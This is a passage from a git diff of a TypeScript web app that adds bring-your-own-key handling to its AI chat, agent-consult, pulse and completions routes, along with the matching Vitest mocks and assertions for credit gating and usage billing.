apps/web/src/lib/memory/memory-credit.ts | 10 ++-
.../src/lib/workflows/workflow-executor.ts | 10 ++-
31 files changed, 322 insertions(+), 33 deletions(-)
diff --git a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts
index 68aa94f39c..a97ad8cd66 100644
--- a/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts
+++ b/apps/web/src/app/api/ai/btw/__tests__/credit-gate.test.ts
@@ -61,6 +61,11 @@ vi.mock('@pagespace/db/db', () => ({
vi.mock('@pagespace/lib/permissions/conversation-access', () => ({ canAccessConversation: mocks.access }));
vi.mock('@/lib/repositories/message-repository', () => ({ messageRepository: { getMessagesByConversationId: mocks.messages } }));
vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan }));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider }));
vi.mock('@/lib/ai/core/ai-providers-config', () => ({
ADMIN_ONLY_PROVIDERS: new Set(['glm']),
diff --git a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts
index 510b7f708b..8c5939df60 100644
--- a/apps/web/src/app/api/ai/btw/__tests__/route.test.ts
+++ b/apps/web/src/app/api/ai/btw/__tests__/route.test.ts
@@ -24,6 +24,11 @@ vi.mock('@pagespace/db/schema/conversations', () => ({ conversations: { __table:
vi.mock('@pagespace/lib/permissions/conversation-access', () => ({ canAccessConversation: mocks.access }));
vi.mock('@/lib/repositories/message-repository', () => ({ messageRepository: { getMessagesByConversationId: mocks.messages } }));
vi.mock('@/lib/ai/core/plan-binding', () => ({ getActivePlan: mocks.plan }));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({ createAIProvider: mocks.provider }));
vi.mock('@/lib/ai/btw/side-question', () => ({ buildSideQuestionSnapshot: vi.fn().mockResolvedValue('snapshot'), createSideQuestionStream: mocks.stream }));
import { POST } from '../route';
diff --git a/apps/web/src/app/api/ai/btw/route.ts b/apps/web/src/app/api/ai/btw/route.ts
index 2adcdeb62f..2249e50ba5 100644
--- a/apps/web/src/app/api/ai/btw/route.ts
+++ b/apps/web/src/app/api/ai/btw/route.ts
@@ -19,6 +19,8 @@ import { AIMonitoring, estimateTokens, extractOpenRouterCostDollars, extractOpen
import { messageRepository } from '@/lib/repositories/message-repository';
import { getActivePlan } from '@/lib/ai/core/plan-binding';
import { createAIProvider } from '@/lib/ai/core/provider-factory';
+import { resolveModelKeySource } from '@/lib/ai/core/model-key-source';
+import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses';
import { resolveProviderModel } from '@/lib/ai/core/ai-providers-config';
import { resolveGenerationAdmission } from '@/lib/ai/core/generation-admission';
import { conversationSessionDriveId } from '@/lib/ai/core/session-spend';
@@ -80,8 +82,13 @@ export async function POST(request: Request) {
// Prepaid credit gate BEFORE the provider is built: out_of_credits -> 402, the
// in-flight cap -> 429. Metering-exempt providers bill on a flat external plan,
// so they skip the gate (no hold) exactly as the chat pipeline does.
+ // BYOK (ADR 0009): whose key the call runs on, decided ONCE for the gate, the provider and billing.
+ // On the person's own OpenRouter key there is no hold and no charge.
+ const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDriveId });
+ if (keyDecision.source === 'refused') return createByokUnavailableResponse();
+ const ownKey = keyDecision.source === 'user_key';
let entitlementTier: SubscriptionTier | undefined;
- if (!isMeteringExempt(effectiveProvider)) {
+ if (!isMeteringExempt(effectiveProvider) && !ownKey) {
const gate = await canConsumeAI(userId, consumerTier, {
spend,
estCostCents: holdCents,
@@ -108,13 +115,19 @@ export async function POST(request: Request) {
subscriptionTier: entitlementTier ?? await resolveEntitlementTier(userId, consumerTier, spend),
isAdmin: user?.role === 'admin',
requiresProSubscription,
+ ownKey,
});
if (!admission.allowed) {
auditRequest(request, { eventType: 'authz.access.denied', userId, resourceType: 'ai_btw', resourceId: conversationId, details: { reason: admission.reason, provider: effectiveProvider, method: 'POST' }, riskScore: 0.5 });
return admission.reason === 'provider_admin_only' ? createAdminRestrictedResponse() : createSubscriptionRequiredResponse();
}
- const provider = await createAIProvider(userId, {}, { user: user ?? null, driveId: sessionDriveId });
+ const provider = await createAIProvider(userId, {}, {
+ user: user ?? null,
+ driveId: sessionDriveId,
+ keySource: keyDecision,
+ modelCall: { sessionId: auth.tokenType === 'session' ? auth.sessionId : null, conversationId },
+ });
if ('error' in provider) return NextResponse.json({ error: provider.error }, { status: provider.status });
const startTime = Date.now();
@@ -138,6 +151,7 @@ export async function POST(request: Request) {
return { inputTokens, outputTokens, ...priceInterruptedStep({ model: provider.modelName, inputTokens, outputTokens, holdCents }) };
})();
await AIMonitoring.trackUsage({
+ keySource: keyDecision.source,
userId,
provider: provider.provider,
model: provider.modelName,
diff --git a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
index abe04a2f1e..9e4735cdb6 100644
--- a/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
+++ b/apps/web/src/app/api/ai/global/[id]/messages/__tests__/credit-gate.test.ts
@@ -228,6 +228,11 @@ vi.mock('@pagespace/lib/billing/credit-gate', () => ({
canConsumeAI: vi.fn().mockResolvedValue({ allowed: true, reason: 'unlimited' }),
}));
+// BYOK (ADR 0009): whose key the turn runs on. Managed unless a test says otherwise.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
updateUserProviderSettings: vi.fn(),
@@ -378,6 +383,8 @@ import { canConsumeAI } from '@pagespace/lib/billing/credit-gate';
import { PERSONAL_SPEND, conversationSpend } from '@pagespace/lib/billing/spend-target';
import { resolveRequestContext } from '@/lib/ai/core/resolve-request-context';
import { AIMonitoring } from '@pagespace/lib/monitoring/ai-monitoring';
+import { resolveModelKeySource } from '@/lib/ai/core/model-key-source';
+import { createAIProvider } from '@/lib/ai/core/provider-factory';
import { streamText } from 'ai';
import { resolveOrCreateConversation, ConversationOwnershipError } from '@/lib/repositories/resolve-or-create-conversation';
@@ -447,6 +454,7 @@ describe('POST /api/ai/global/[id]/messages — prepaid credit gate', () => {
captured.totalUsage = { inputTokens: 10, outputTokens: 5, totalTokens: 15 };
vi.mocked(authenticateRequestWithOptions).mockResolvedValue(mockAuth());
vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'unlimited' });
+ vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'managed' });
mockCreateStreamLifecycle.mockResolvedValue({ channel: makeFakeChannel(), finish: mockLifecycleFinish, getParts: vi.fn().mockResolvedValue([]) });
});
@@ -510,10 +518,18 @@ describe('POST /api/ai/global/[id]/messages — prepaid credit gate', () => {
it('POL-8 (partial) the provider factory is named the SERVER-resolved drive with a contextRef, and no drive at all without one', async () => {
const { createAIProvider } = await import('@/lib/ai/core/provider-factory');
await POST(makeRequest({ contextRef: { routeType: 'drive', driveId: 'drive-client-claimed' } }), makeContext());
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-server-resolved' });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: 'drive-server-resolved',
+ keySource: { source: 'managed' },
+ modelCall: { sessionId: 'sess-1', conversationId: 'conv-1' },
+ });
await POST(makeRequest(), makeContext());
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: null });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: null,
+ keySource: { source: 'managed' },
+ modelCall: { sessionId: 'sess-1', conversationId: 'conv-1' },
+ });
});
it('SPEND-8 (partial) a request carrying the removed client-computed locationContext is refused (400) before any gate or spend: it never runs on personal credits inside a drive the server did not resolve', async () => {
@@ -549,6 +565,7 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)',
captured.streamTextOptions = {};
vi.mocked(authenticateRequestWithOptions).mockResolvedValue(mockAuth());
vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'unlimited' });
+ vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'managed' });
mockCreateStreamLifecycle.mockResolvedValue({ channel: makeFakeChannel(), finish: mockLifecycleFinish, getParts: vi.fn().mockResolvedValue([]) });
});
@@ -673,4 +690,47 @@ describe('POST /api/ai/global/[id]/messages — usage logging durability (R4)',
const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0];
expect(call.totalTokens).toBe(10);
});
+
+ describe('BYOK (ADR 0009): one key decision for the gate, the provider and billing', () => {
+ it('a turn on the person\'s own key takes no credit hold, hands the factory that same decision, and bills nothing', async () => {
+ const ownKey = { source: 'user_key' } as const;
+ vi.mocked(resolveModelKeySource).mockResolvedValue(ownKey);
+ // A person with no PageSpace credits at all: the gate would refuse, so it must never be asked.
+ vi.mocked(canConsumeAI).mockResolvedValue({ allowed: false, reason: 'out_of_credits' });
+
+ const response = await POST(makeRequest(), makeContext());
+ await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() });
+ await captured.createUIMessageStreamOptions.onFinish?.({ responseMessage: mockResponseMessage });
+
+ expect(response.status).toBe(200);
+ expect(canConsumeAI).not.toHaveBeenCalled();
+ expect(vi.mocked(resolveModelKeySource).mock.calls[0]?.[0]).toEqual({ userId: 'user-1', provider: 'openai', driveId: null });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]?.keySource).toBe(ownKey);
+ expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1);
+ const call = vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0];
+ expect({ keySource: call.keySource, holdId: call.holdId }).toEqual({ keySource: 'user_key', holdId: undefined });
+ });
+
+ it('a managed turn is gated and billed as managed', async () => {
+ await POST(makeRequest(), makeContext());
+ await captured.createUIMessageStreamOptions.execute?.({ write: vi.fn() });
+ await captured.createUIMessageStreamOptions.onFinish?.({ responseMessage: mockResponseMessage });
+
+ expect(canConsumeAI).toHaveBeenCalledTimes(1);
+ expect(AIMonitoring.trackUsage).toHaveBeenCalledTimes(1);
+ expect(vi.mocked(AIMonitoring.trackUsage).mock.calls[0][0].keySource).toBe('managed');
+ });
+
+ it('a refused decision answers 503 byok_unavailable before any gate, provider or stream', async () => {
+ vi.mocked(resolveModelKeySource).mockResolvedValue({ source: 'refused', reason: 'byok_unavailable' });
+
+ const response = await POST(makeRequest(), makeContext());
+
+ expect(response.status).toBe(503);
+ expect((await response.json()).code).toBe('byok_unavailable');
+ expect(canConsumeAI).not.toHaveBeenCalled();
+ expect(createAIProvider).not.toHaveBeenCalled();
+ expect(streamText).not.toHaveBeenCalled();
+ });
+ });
});
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts
index 561f147c0c..f80ac96b39 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-continuity.test.ts
@@ -132,6 +132,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts
index d20a440014..857e648146 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/conversation-listing-index.test.ts
@@ -113,6 +113,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts
index 2487599ed1..57f257b0c0 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/credit-gate.test.ts
@@ -116,6 +116,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
@@ -222,7 +227,13 @@ describe('POST /api/ai/page-agents/consult — prepaid credit gate', () => {
expect(res.status).toBe(200);
expect(vi.mocked(canConsumeAI).mock.calls[0]?.[2]?.spend).toEqual({ kind: 'drive', driveId: 'drive-a', chosen: null });
// The session drive's org AND the agent drive's org both judge the model (D-OW-64).
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-a', contentDriveIds: ['drive-1'] });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: 'drive-a',
+ contentDriveIds: ['drive-1'],
+ // BYOK: the same key decision the gate acted on, and the run it belongs to.
+ keySource: { source: 'managed' },
+ modelCall: { sessionId: 'sess-1', conversationId: expect.any(String) },
+ });
const { AIMonitoring } = await import('@pagespace/lib/monitoring/ai-monitoring');
expect(AIMonitoring.trackUsage).toHaveBeenCalledWith(expect.objectContaining({ driveId: 'drive-a', walletId: 'w-a', holdId: 'h-1' }));
});
@@ -243,7 +254,12 @@ describe('POST /api/ai/page-agents/consult — prepaid credit gate', () => {
it('POL-8 (partial) the agent\'s drive is named to the provider factory, and an org-policy refusal is a 403 naming the policy, not a 500', async () => {
vi.mocked(canConsumeAI).mockResolvedValue({ allowed: true, reason: 'ok' });
await POST(makeRequest());
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-1', contentDriveIds: ['drive-1'] });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: 'drive-1',
+ contentDriveIds: ['drive-1'],
+ keySource: { source: 'managed' },
+ modelCall: { sessionId: 'sess-1', conversationId: expect.any(String) },
+ });
vi.mocked(createAIProvider).mockResolvedValueOnce({ error: "This organization doesn't allow that AI model.", status: 403, code: 'org_policy', policy: 'modelAllowlist' } as never);
const { isProviderError } = await import('@/lib/ai/core/provider-factory');
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts
index 7f8197257d..d7d822e9cb 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/mcp-scope-tool-filtering.test.ts
@@ -113,6 +113,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts
index 04b40dd9e0..65d8562e85 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/new-conversation-history.test.ts
@@ -132,6 +132,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts
index c14ca59e08..d18c0282ca 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/sandbox-switch.test.ts
@@ -118,6 +118,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts
index e456e4f90b..6cc221233c 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/__tests__/step-cap-parity.test.ts
@@ -106,6 +106,11 @@ vi.mock('@pagespace/lib/monitoring/ai-monitoring', () => ({
},
}));
+// BYOK (ADR 0009): whose key the call runs on — managed here.
+vi.mock('@/lib/ai/core/model-key-source', () => ({
+ resolveModelKeySource: vi.fn().mockResolvedValue({ source: 'managed' }),
+}));
+
vi.mock('@/lib/ai/core/provider-factory', () => ({
createAIProvider: vi.fn().mockResolvedValue({ model: {}, provider: 'openai', modelName: 'openai/gpt-5.4-nano' }),
isProviderError: vi.fn().mockReturnValue(false),
diff --git a/apps/web/src/app/api/ai/page-agents/consult/route.ts b/apps/web/src/app/api/ai/page-agents/consult/route.ts
index feaedb75c3..2e9237dd45 100644
--- a/apps/web/src/app/api/ai/page-agents/consult/route.ts
+++ b/apps/web/src/app/api/ai/page-agents/consult/route.ts
@@ -13,6 +13,8 @@ const AUTH_OPTIONS = { allow: ['session', 'mcp'] as const, requireCSRF: true };
/** The repository-wide id contract: what `createId()` (cuid2) produces. */
const CUID2_PATTERN = /^[a-z][a-z0-9]{1,31}$/;
import { createAIProvider, isProviderError, type ProviderRequest } from '@/lib/ai/core/provider-factory';
+import { resolveModelKeySource, type ModelKeyDecision } from '@/lib/ai/core/model-key-source';
+import { createByokUnavailableResponse } from '@/lib/ai/core/byok-responses';
import { toolModelContext } from '@/lib/ai/core/tool-model-context';
import { pageSpaceTools } from '@/lib/ai/core/ai-tools';
import { buildTimestampSystemPrompt } from '@/lib/ai/core/timestamp-utils';
@@ -143,7 +145,12 @@ function formatToolExecutionResults(steps: unknown[]): string {
* Get configured AI model for agent using the centralized provider factory
* Handles provider-specific setup and fallbacks
*/
-async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: string | null; aiModel?: string | null }, drives: { driveId: string; agentDriveId: string }) {
+async function getConfiguredModel(
+ userId: string,
+ agentConfig: { aiProvider?: string | null; aiModel?: string | null },
+ drives: { driveId: string; agentDriveId: string },
+ byok: { keySource: ModelKeyDecision; modelCall: { sessionId: string | null; conversationId: string } },
+) {
const { aiProvider, aiModel } = agentConfig;
// Use default provider/model if agent doesn't have specific configuration
@@ -157,7 +164,13 @@ async function getConfiguredModel(userId: string, agentConfig: { aiProvider?: st
// POL-8: the org of the drive the consultation runs in (its session's, where its spend is attributed, SPEND-7)
// AND the org of the drive the agent lives in — the intersection of both allowlists (D-OW-64).
- const providerResult = await createAIProvider(userId, providerRequest, { driveId: drives.driveId, contentDriveIds: [drives.agentDriveId] });
+ // BYOK (ADR 0009): the SAME key decision the route's credit gate acted on.
+ const providerResult = await createAIProvider(userId, providerRequest, {
+ driveId: drives.driveId,
+ contentDriveIds: [drives.agentDriveId],
+ keySource: byok.keySource,
+ modelCall: byok.modelCall,
+ });
if (isProviderError(providerResult)) {
// An org-policy refusal keeps its status and policy so the route can answer 403 (POL-8), not a 500.
@@ -346,6 +359,13 @@ export async function POST(request: Request) {
const sessionDrive = spendDriveId(spend) ?? agent.driveId;
let conversationSourceWalletId: string | undefined;
+ // BYOK (ADR 0009): whose key this consultation runs on, decided ONCE (same provider and drives the
+ // gate and the factory use) for the gate, the provider and billing. On the person's own OpenRouter
+ // key there is no hold and no charge.
+ const keyDecision = await resolveModelKeySource({ userId, provider: effectiveProvider, driveId: sessionDrive, contentDriveIds: [agent.driveId] });
+ if (keyDecision.source === 'refused') return createByokUnavailableResponse();
+ const ownKey = keyDecision.source === 'user_key';
+
// The SHARED entitlement decision a chat turn applies (generation-admission.ts): an
// admin-only provider is a role block (a viewer of a glm-configured shared agent must
// never consume the admin subscription), a paid-tier model a tier block — for the tier
@@ -356,6 +376,7 @@ export async function POST(request: Request) {
subscriptionTier: await resolveEntitlementTier(userId, consumerTier, spend),
isAdmin: gateUser?.role === 'admin',
requiresProSubscription,
+ ownKey,
});
if (!admission.allowed) {
auditRequest(request, { eventType: 'authz.access.denied', userId, resourceType: 'page_agent', resourceId: agentId, details: { reason: admission.reason, provider: effectiveProvider, action: 'consult', method: 'POST' }, riskScore: 0.5 });
@@ -368,7 +389,7 @@ export async function POST(request: Request) {
// SPEND-4: a drive rule that moved the call to another source is reported in the answer
// (`spendFallback` and the X-Spend-Fallback-* headers), never applied silently.
let spendFallback: SpendFallbackNotice | null = null;
- if (!isMeteringExempt(effectiveProvider)) {
+ if (!isMeteringExempt(effectiveProvider) && !ownKey) {
const creditGate = await canConsumeAI(userId, consumerTier, {
spend,
estCostCents: estimateChatHoldCentsForModel(agent.aiModel ?? undefined),
@@ -575,7 +596,10 @@ export async function POST(request: Request) {
const providerResult = await getConfiguredModel(userId, {
aiProvider: agent.aiProvider,
aiModel: agent.aiModel
- }, { driveId: sessionDrive, agentDriveId: agent.driveId });
+ }, { driveId: sessionDrive, agentDriveId: agent.driveId }, {
+ keySource: keyDecision,
+ modelCall: { sessionId: auth.tokenType === 'session' ? auth.sessionId : null, conversationId: activeConversationId },
+ });
model = providerResult.model;
resolvedProvider = providerResult.provider;
resolvedModelName = providerResult.modelName;
@@ -834,6 +858,7 @@ export async function POST(request: Request) {
// final step.
const usage = result.totalUsage;
discardUsageOutcome(AIMonitoring.trackUsage({
+ keySource: keyDecision.source,
userId,
provider: resolvedProvider,
model: resolvedModelName,
diff --git a/apps/web/src/app/api/pulse/cron/route.ts b/apps/web/src/app/api/pulse/cron/route.ts
index b2f3e84477..422ef2000e 100644
--- a/apps/web/src/app/api/pulse/cron/route.ts
+++ b/apps/web/src/app/api/pulse/cron/route.ts
@@ -946,6 +946,10 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob
// it atomically with the debit (or releases it if there was nothing billable).
const usage = result.usage;
discardUsageOutcome(AIMonitoring.trackUsage({
+ // BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this
+ // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged,
+ // and the gate's hold is released.
+ keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/app/api/pulse/generate/route.ts b/apps/web/src/app/api/pulse/generate/route.ts
index 3c82061588..4045f55228 100644
--- a/apps/web/src/app/api/pulse/generate/route.ts
+++ b/apps/web/src/app/api/pulse/generate/route.ts
@@ -767,6 +767,10 @@ What would be genuinely useful or interesting to say right now? Maybe it's an ob
// Track AI usage
const usage = result.usage;
discardUsageOutcome(AIMonitoring.trackUsage({
+ // BYOK (ADR 0009): the factory decided whose key ran, judged on every drive and org whose content this
+ // pulse carries (not known yet at the gate). On the person's own key the row is recorded, never charged,
+ // and the gate's hold is released.
+ keySource: providerResult.keySource,
userId,
provider: providerResult.provider,
model: providerResult.modelName,
diff --git a/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts b/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts
index b32dc9dfb0..fc67594d6b 100644
--- a/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts
+++ b/apps/web/src/app/api/v1/chat/completions/__tests__/route.test.ts
@@ -290,7 +290,12 @@ describe('POST /api/v1/chat/completions', () => {
const response = await POST(makeRequest(validBody));
const body = await response.json();
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-abc', contentDriveIds: ['drive-abc'] });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: 'drive-abc',
+ contentDriveIds: ['drive-abc'],
+ // BYOK: the run this call belongs to (a stateless MCP call names no session or conversation).
+ modelCall: { sessionId: null, conversationId: null },
+ });
expect({ status: response.status, code: body.code, policy: body.policy }).toEqual({ status: 403, code: 'org_policy', policy: 'modelAllowlist' });
});
@@ -384,7 +389,11 @@ describe('POST /api/v1/chat/completions', () => {
test('POL-8 (partial) a completion run from a session in another drive is judged by the agent drive\'s org policy too (D-OW-64)', async () => {
const { createAIProvider } = await import('@/lib/ai/core/provider-factory');
await POST(makeRequest({ ...validBody, drive_context: 'drive-a' }));
- expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({ driveId: 'drive-a', contentDriveIds: ['drive-abc'] });
+ expect(vi.mocked(createAIProvider).mock.calls.at(-1)?.[2]).toEqual({
+ driveId: 'drive-a',
+ contentDriveIds: ['drive-abc'],
+ modelCall: { sessionId: null, conversationId: null },
+ });
});
test('SPEND-7 (partial) a drive_context the caller cannot use is refused 403 before anything is reserved', async () => {
diff --git a/apps/web/src/app/api/v1/chat/completions/route.ts b/apps/web/src/app/api/v1/chat/completions/route.ts
index 1f937d4014..a21df09ee8 100644
--- a/apps/web/src/app/api/v1/chat/completions/route.ts
+++ b/apps/web/src/app/api/v1/chat/completions/route.ts
@@ -256,7 +256,11 @@ export async function POST(request: Request): Promise {
const providerResult = await createAIProvider(authResult.userId, {
selectedProvider: page.aiProvider ?? undefined,
selectedModel: page.aiModel ?? undefined,
- }, { driveId: sessionDriveId, contentDriveIds: [page.driveId] });
+ }, {
+ driveId: sessionDriveId,
+ contentDriveIds: [page.driveId],
+ modelCall: { sessionId: authResult.tokenType === 'session' ? authResult.sessionId : null, conversationId: incomingConversationId ?? null },
+ });
if (isProviderError(providerResult)) {
return NextResponse.json({ error: providerResult.error, ...(providerResult.code ? { code: providerResult.code, policy: providerResult.policy } : {}) }, { status: providerResult.status });
}
@@ -265,6 +269,9 @@ export async function POST(request: Request): Promise {
// agent configured with `glm` + an invalid model resolves to the metered default,
// so both the admin gate and the credit gate below key off this, not the raw config.
const effectiveProvider = providerResult.provider;
+ // BYOK (ADR 0009): the factory decided whose key runs (on the resolved provider and the same drives); the
+ // gate and billing act on that one decision. On the person's own OpenRouter key: no hold, no charge.
+ const ownKey = providerResult.keySource === 'user_key';
// 6a. Vision-capability gate — judged against the RESOLVED model (post
// catalog-substitution), not the raw page config: a null or invalid configured model
@@ -297,6 +304,7 @@ export async function POST(request: Request): Promise {
subscriptionTier: await resolveEntitlementTier(authResult.userId, consumerTier, spend),
isAdmin: gateUser?.role === 'admin',
requiresProSubscription,
+ ownKey,
});
if (!admission.allowed) {
auditRequest(request, { eventType: 'authz.access.denied', userId: authResult.userId, resourceType: 'openai_inference', resourceId: pageId, details: { reason: admission.reason, provider: effectiveProvider, method: 'POST' }, riskScore: 0.5 });
@@ -313,7 +321,7 @@ export async function POST(request: Request): Promise {
// SPEND-4: a drive rule that moved the call to another source is reported on the response
// (the X-Spend-Fallback-* headers), never applied silently.
let spendFallback: SpendFallbackNotice | null = null;
- if (!isMeteringExempt(effectiveProvider)) {
+ if (!isMeteringExempt(effectiveProvider) && !ownKey) {
